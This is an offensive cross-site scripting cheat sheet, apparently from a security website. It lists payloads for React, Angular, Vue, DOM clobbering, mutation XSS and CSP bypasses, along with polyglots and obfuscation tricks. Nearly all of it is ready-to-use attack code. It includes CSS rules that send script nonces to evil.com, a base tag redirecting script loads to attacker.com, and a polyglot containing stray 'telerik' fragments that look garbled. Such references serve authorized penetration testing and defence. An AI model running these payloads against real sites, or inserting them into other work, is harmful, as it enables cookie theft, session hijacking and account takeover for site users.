← All cheat sheets

XSS-MODERN

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Cross-site scripting vectors targeting modern JavaScript frameworks,
CSP bypasses, and advanced DOM manipulation techniques.

REACT XSS VECTORS#

  dangerouslySetInnerHTML:
    # React escapes by default, but dangerouslySetInnerHTML bypasses this
    # If user input reaches dangerouslySetInnerHTML, XSS is possible

    <div dangerouslySetInnerHTML={{__html: userInput}} />

    # Payloads for dangerouslySetInnerHTML context:
    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>
    <iframe srcdoc="<script>alert(1)</script>">

  href/src with javascript: Protocol:
    # React allows javascript: in href if not sanitized
    <a href={userInput}>Click</a>

    # Payload:
    javascript:alert(1)
    javascript:alert(document.cookie)

    # React 16.9+ warns but does not block javascript: URLs
    # Still exploitable if user input flows into href

  Server-Side Rendering (SSR) XSS:
    # Next.js / SSR React - injection into serialized state
    # Look for __NEXT_DATA__ or window.__INITIAL_STATE__
    # If user input is reflected in serialized JSON without encoding:
    </script><script>alert(1)</script>

  React Native WebView:
    # If using WebView with user-controlled URLs
    javascript:alert(1)
    data:text/html,<script>alert(1)</script>

ANGULAR TEMPLATE INJECTION#

  AngularJS (1.x) - Client-Side Template Injection:
    # Classic (sandbox bypasses vary by version)
    {{constructor.constructor('alert(1)')()}}
    {{$on.constructor('alert(1)')()}}

    # AngularJS 1.6+
    {{$on.constructor('alert(1)')()}}
    {{toString().constructor.prototype.charAt=[].join;
      $eval('x=alert(1)')}}

    # AngularJS 1.0.1-1.1.5
    {{constructor.constructor('alert(1)')()}}

    # AngularJS 1.2.0-1.2.1
    {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

    # AngularJS with CSP
    <input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">

  Angular (2+):
    # Modern Angular uses AOT compilation, template injection is harder
    # Look for: [innerHTML] binding without sanitization
    <div [innerHTML]="userInput"></div>

    # Angular DomSanitizer bypass
    # If bypassSecurityTrustHtml is used on user input
    this.sanitizer.bypassSecurityTrustHtml(userInput)

    # Payloads for [innerHTML]:
    <img src=x onerror=alert(1)>
    # Note: Angular strips event handlers from [innerHTML]
    # But <style>, <link>, and other elements may still work for CSS injection

VUE.JS XSS VECTORS#

  v-html Directive:
    # v-html renders raw HTML - equivalent to dangerouslySetInnerHTML
    <div v-html="userInput"></div>

    # Payloads:
    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>
    <details open ontoggle=alert(1)>

  Template Injection (Server-Side):
    # If Vue templates are rendered server-side with user input
    {{constructor.constructor('alert(1)')()}}
    {{_c.constructor('alert(1)')()}}

    # Vue 2
    {{this.constructor.constructor('alert(1)')()}}

    # Vue 3
    {{$el.ownerDocument.defaultView.alert(1)}}

  Dynamic Component Rendering:
    # If component name is user-controlled
    <component :is="userInput"></component>
    # Can potentially load malicious components

DOM CLOBBERING#

  Concept:
    # HTML elements with id/name attributes create global JS variables
    # Can override undefined variables in JavaScript

  Basic Clobbering:
    # If JS code accesses: someConfig.url
    <a id="someConfig"></a>
    <a id="someConfig" name="url" href="javascript:alert(1)"></a>

    # Clobbering window.x.y
    <form id="x"><input id="y" value="clobbered"></form>
    # window.x.y now returns the input element

    # Clobbering toString
    <a id="x" href="javascript:alert(1)">click</a>
    # String(window.x) returns "javascript:alert(1)"

  Advanced Clobbering:
    # Override object properties via nested forms
    <form id="config">
      <input name="apiUrl" value="https://evil.com">
    </form>
    # document.getElementById('config').apiUrl.value = "https://evil.com"

    # HTMLCollection clobbering (same id, multiple elements)
    <a id="x">first</a>
    <a id="x">second</a>
    # document.getElementById('x') returns first
    # window.x returns HTMLCollection

MUTATION XSS (mXSS)#

  Concept:
    # Browser HTML parser mutations can transform safe HTML into dangerous HTML
    # Sanitizer sees safe input, but browser reinterprets it as dangerous

  Vectors:
    # Namespace confusion (SVG/MathML/HTML)
    <svg><style><img src=x onerror=alert(1)></style></svg>

    # The content inside <style> in SVG context is treated as text
    # But when moved to HTML context, it becomes active HTML

    <math><mtext><table><mglyph><style><!--</style>
    <img src=x onerror=alert(1)>

    # DOMPurify bypass (historical)
    <svg></p><style><a id="</style><img src=1 onerror=alert(1)>">

    # Mutation via <noscript> in scripting-enabled documents
    <noscript><p title="</noscript><img src=x onerror=alert(1)>">

  Context Switching:
    # Elements that switch parsing context
    <svg>, <math>, <foreignObject>, <desc>, <title>
    # Parser handles these differently, creating mutation opportunities

CSP BYPASS TECHNIQUES#

  Script-src 'unsafe-inline':
    # Direct XSS works
    <script>alert(1)</script>
    <img src=x onerror=alert(1)>

  Script-src 'self':
    # Upload a JS file and reference it
    <script src="/uploads/evil.js"></script>
    # JSONP endpoint abuse
    <script src="/api/jsonp?callback=alert(1)//"></script>
    # Angular/Vue library on same origin
    <script src="/assets/angular.min.js"></script>

  Script-src with CDN allowlist:
    # If CDN like cdnjs.cloudflare.com is allowed
    <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
    <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

    # Use allowed CDN to load arbitrary scripts
    <script src="https://cdn.jsdelivr.net/npm/evil-package"></script>

  Base-uri Not Set:
    # Inject <base> tag to redirect relative script loads
    <base href="https://attacker.com/">
    # All relative script sources now load from attacker.com

  Nonce Exfiltration:
    # CSS injection to steal nonce values
    script[nonce^="a"]{background:url(https://evil.com/?nonce=a)}
    script[nonce^="ab"]{background:url(https://evil.com/?nonce=ab)}

  Policy Injection:
    # If CSP header is reflected/injectable
    Content-Security-Policy: script-src 'none'; script-src-elem 'unsafe-inline'
    # script-src-elem overrides script-src for inline scripts

  Strict-Dynamic Bypass:
    # If 'strict-dynamic' is used, trusted scripts can load more scripts
    # Find a gadget in trusted script that creates new script elements
    # Parser-inserted scripts are blocked, but dynamically created ones are allowed

  Report-Only Mode:
    # Content-Security-Policy-Report-Only does NOT enforce
    # XSS still executes, only reports are sent

  Object-src / Plugin Bypass:
    # If object-src is not set
    <object data="data:text/html,<script>alert(1)</script>">
    <embed src="data:text/html,<script>alert(1)</script>">

EVENT HANDLER PAYLOADS#

  Common Handlers:
    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>
    <body onload=alert(1)>
    <input onfocus=alert(1) autofocus>
    <details open ontoggle=alert(1)>
    <marquee onstart=alert(1)>
    <video src=x onerror=alert(1)>
    <audio src=x onerror=alert(1)>
    <select autofocus onfocus=alert(1)>
    <textarea autofocus onfocus=alert(1)>
    <keygen autofocus onfocus=alert(1)>

  Without Parentheses:
    <img src=x onerror=alert`1`>
    <img src=x onerror=alert&lpar;1&rpar;>
    <img src=x onerror=window['alert'](1)>
    <img src=x onerror=self['ale'+'rt'](1)>

  Without alert Keyword:
    <img src=x onerror=confirm(1)>
    <img src=x onerror=prompt(1)>
    <img src=x onerror=print()>
    <img src=x onerror=top[8680439..toString(30)](1)>
    <img src=x onerror=window[atob('YWxlcnQ=')](1)>

  Without Spaces:
    <img/src=x/onerror=alert(1)>
    <svg/onload=alert(1)>

SVG AND MATHML VECTORS#

  SVG:
    <svg onload=alert(1)>
    <svg><script>alert(1)</script></svg>
    <svg><animate onbegin=alert(1) attributeName=x dur=1s>
    <svg><set onbegin=alert(1) attributeName=x to=y>
    <svg><a><rect width=99% height=99% /><animate attributeName=href
      values=javascript:alert(1) /></a>
    <svg><use href="data:image/svg+xml,<svg id='x'
      xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>#x">

  MathML:
    <math><mtext><img src=x onerror=alert(1)></mtext></math>
    <math><annotation-xml encoding="text/html">
      <img src=x onerror=alert(1)>
    </annotation-xml></math>

POLYGLOT PAYLOADS#

  Multi-Context Polyglots:
    # Works in HTML, JS string, and URL contexts
    jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0telerik%0telerik%0d%0a//</stYle/</titLe/</telerik/</telerik/</svg/</script/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

    # Shorter polyglot
    '--></style></script><svg/onload=alert(1)>

    # HTML comment + script context
    */</script><img src=x onerror=alert(1)>/*

    # String escape + HTML
    </script><script>alert(1)</script>
    '-alert(1)-'
    "-alert(1)-"

  Framework-Agnostic:
    # Works across React dangerouslySetInnerHTML, Vue v-html, Angular innerHTML
    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>
    <details open ontoggle=alert(1)>

ENCODING AND OBFUSCATION#

  HTML Entity Encoding:
    &#x61;&#x6c;&#x65;&#x72;&#x74;  (alert in hex entities)
    &#97;&#108;&#101;&#114;&#116;     (alert in decimal entities)
    <img src=x onerror="&#97;lert(1)">

  JavaScript Encoding:
    \x61\x6c\x65\x72\x74            (alert in JS hex)
    \u0061\u006c\u0065\u0072\u0074   (alert in JS unicode)
    eval(atob('YWxlcnQoMSk='))       (base64 alert(1))

  URL Encoding in Event Handlers:
    <a href="javascript:%61lert(1)">click</a>

  JSFuck (encode any JS without alphanumeric chars):
    [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+...
    # Use jsfuck.com to generate

DETECTION AND TESTING TIPS#

  Quick Test Probes:
    '"><img src=x onerror=alert(1)>{{7*7}}${7*7}
    # Tests HTML injection, template injection simultaneously

  Identify Context:
    - HTML body: look for direct tag injection
    - HTML attribute: break out with " or '
    - JavaScript string: break out with ' or " then inject
    - JavaScript template literal: use ${alert(1)}
    - URL context: javascript: protocol
    - CSS context: expression() (IE) or url() exfiltration

  Tools:
    XSStrike      - Intelligent XSS detection
    Dalfox        - Parameter analysis and XSS finder
    knoxss.me     - Online XSS testing service
    DOMPurify     - Test sanitizer bypass attempts
    BurpSuite     - Manual + automated XSS testing